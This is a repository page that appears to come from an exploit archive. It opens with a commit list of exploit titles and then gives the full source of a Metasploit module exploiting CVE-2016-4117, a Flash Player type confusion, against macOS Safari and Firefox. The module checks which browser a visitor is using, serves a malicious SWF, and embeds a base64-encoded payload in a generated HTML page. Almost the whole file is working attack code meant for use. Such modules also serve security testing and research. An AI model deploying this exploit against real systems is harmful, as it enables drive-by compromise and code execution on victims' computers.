d622832ea0
21 changes to exploits/shellcodes KnFTP 1.0.0 Server - Multiple Buffer Overflows (Denial of Service) (SEH) (PoC) KnFTP 1.0.0 Server - Multiple Buffer Overflows (PoC) (SEH) Jzip - Buffer Overflow (Denial of Service) (SEH Unicode) Jzip - Buffer Overflow (PoC) (SEH Unicode) Mediacoder 0.8.33 build 5680 - '.m3u' Buffer Overflow (Denial of Service) (SEH) (PoC) Mediacoder 0.8.33 build 5680 - '.lst' Buffer Overflow (Denial of Service) (SEH) (PoC) Mediacoder 0.8.33 build 5680 - '.m3u' Buffer Overflow (PoC) (SEH Overwrite) Mediacoder 0.8.33 build 5680 - '.lst' Buffer Overflow (PoC) (SEH Overwrite) STIMS Buffer 1.1.20 - Buffer Overflow (Denial of Service) (SEH) (PoC) STIMS Buffer 1.1.20 - Buffer Overflow (PoC) (SEH Overwrite) Zortam Mp3 Media Studio 20.15 - Overflow (SEH) (Denial of Service) Zortam Mp3 Media Studio 20.15 - Overflow (PoC) (SEH) Netatalk 3.1.12 - Authentication Bypass (PoC) IP-Tools 2.50 - Denial of Service SEH Overwrite (PoC) Necrosoft DIG 0.4 - Denial of Service SEH Overwrite (PoC) IP-Tools 2.50 - Local Buffer Overflow (PoC) Necrosoft DIG 0.4 - Buffer Overflow (PoC) (SEH Overwrite) FlexHEX 2.46 - Denial of Service SEH Overwrite (PoC) FlexHEX 2.46 - Buffer Overflow (PoC) (SEH Overwrite) Remote Process Explorer 1.0.0.16 - Denial of Service SEH Overwrite (PoC) Remote Process Explorer 1.0.0.16 - Buffer Overflow (PoC) (SEH Overwrite) AirDroid 4.2.1.6 - Denial of Service FutureDj Pro 1.7.2.0 - Denial of Service NordVPN 6.19.6 - Denial of Service (PoC) River Past Video Cleaner 7.6.3 - Local Buffer Overflow (SEH) IP-Tools 2.5 - Local Buffer Overflow (SEH) (Egghunter) River Past Cam Do 3.7.6 - Local Buffer Overflow (SEH) Evince - CBT File Command Injection (Metasploit) Avast Anti-Virus < 19.1.2360 - Local Credentials Disclosure Netatalk - Bypass Authentication Adobe Flash Player - DeleteRangeTimelineOperation Type Confusion (Metasploit) NUUO NVRmini - upgrade_handle.php Remote Command Execution (Metasploit) Indusoft Web Studio 8.1 SP2 - Remote Code Execution Smoothwall Express 3.1-SP4 - Cross-Site Scripting Coship Wireless Router 4.0.0.x/5.0.0.x - WiFi Password Reset IPFire 2.21 - Cross-Site Scripting MyBB Bans List 1.0 - Cross-Site Scripting VA MAX 8.3.4 - Authenticated Remote Code Execution CentOS Web Panel 0.9.8.763 - Persistent Cross-Site Scripting Webiness Inventory 2.3 - 'email' SQL Injection
127 lines
No EOL
4.2 KiB
Ruby
Executable file
127 lines
No EOL
4.2 KiB
Ruby
Executable file
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = GreatRanking
|
|
|
|
include Msf::Exploit::Remote::BrowserExploitServer
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Adobe Flash Player DeleteRangeTimelineOperation Type-Confusion',
|
|
'Description' => %q(
|
|
This module exploits a type confusion on Adobe Flash Player, which was
|
|
originally found being successfully exploited in the wild. This module
|
|
has been tested successfully on:
|
|
macOS Sierra 10.12.3,
|
|
Safari and Adobe Flash Player 21.0.0.182,
|
|
Firefox and Adobe Flash Player 21.0.0.182.
|
|
),
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Genwei Jiang', # FireEye original blog details on the vulnerability
|
|
'bcook-r7' # Imported Metasploit module
|
|
],
|
|
'References' =>
|
|
[
|
|
['CVE', '2016-4117'],
|
|
['BID', '90505'],
|
|
['URL', 'https://www.fireeye.com/blog/threat-research/2016/05/cve-2016-4117-flash-zero-day.html'],
|
|
['URL', 'http://www.securitytracker.com/id/1035826'],
|
|
['URL', 'https://helpx.adobe.com/security/products/flash-player/apsa16-02.html'],
|
|
['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb16-15.html'],
|
|
],
|
|
'Payload' =>
|
|
{
|
|
'DisableNops' => true
|
|
},
|
|
'Platform' => ['osx'],
|
|
'BrowserRequirements' =>
|
|
{
|
|
source: /script|headers/i,
|
|
os_name: lambda do |os|
|
|
os =~ OperatingSystems::Match::MAC_OSX
|
|
end,
|
|
ua_name: lambda do |ua|
|
|
case target.name
|
|
when 'Mac OS X'
|
|
return true if ua == Msf::HttpClients::SAFARI
|
|
return true if ua == Msf::HttpClients::FF
|
|
end
|
|
|
|
false
|
|
end,
|
|
flash: lambda do |ver|
|
|
case target.name
|
|
when 'Mac OS X'
|
|
return true if Gem::Version.new(ver) <= Gem::Version.new('21.0.0.182')
|
|
end
|
|
|
|
false
|
|
end
|
|
},
|
|
'Targets' =>
|
|
[
|
|
[
|
|
'Mac OS X', {
|
|
'Platform' => 'osx',
|
|
'Arch' => ARCH_X64
|
|
}
|
|
]
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => 'Apr 27 2016',
|
|
'DefaultTarget' => 0))
|
|
end
|
|
|
|
def exploit
|
|
@swf = create_swf
|
|
|
|
super
|
|
end
|
|
|
|
def on_request_exploit(cli, request, target_info)
|
|
print_status("Request: #{request.uri}")
|
|
|
|
if request.uri.end_with? 'swf'
|
|
print_status('Sending SWF...')
|
|
send_response(cli, @swf, 'Content-Type' => 'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache')
|
|
return
|
|
end
|
|
|
|
print_status('Sending HTML...')
|
|
send_exploit_html(cli, exploit_template(cli, target_info), 'Pragma' => 'no-cache')
|
|
end
|
|
|
|
def exploit_template(cli, target_info)
|
|
swf_random = "#{rand_text_alpha(3..7)}.swf"
|
|
target_payload = get_payload(cli, target_info)
|
|
b64_payload = Rex::Text.encode_base64(target_payload)
|
|
|
|
if target.name.include? 'osx'
|
|
platform_id = 'osx'
|
|
end
|
|
html_template = %(<html>
|
|
<body>
|
|
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
|
|
<param name="movie" value="<%=swf_random%>" />
|
|
<param name="allowScriptAccess" value="always" />
|
|
<param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>" />
|
|
<param name="Play" value="true" />
|
|
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>" Play="true"/>
|
|
</object>
|
|
</body>
|
|
</html>
|
|
)
|
|
|
|
return html_template, binding
|
|
end
|
|
|
|
def create_swf
|
|
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2016-4117', 'msf.swf')
|
|
File.binread(path)
|
|
end
|
|
end |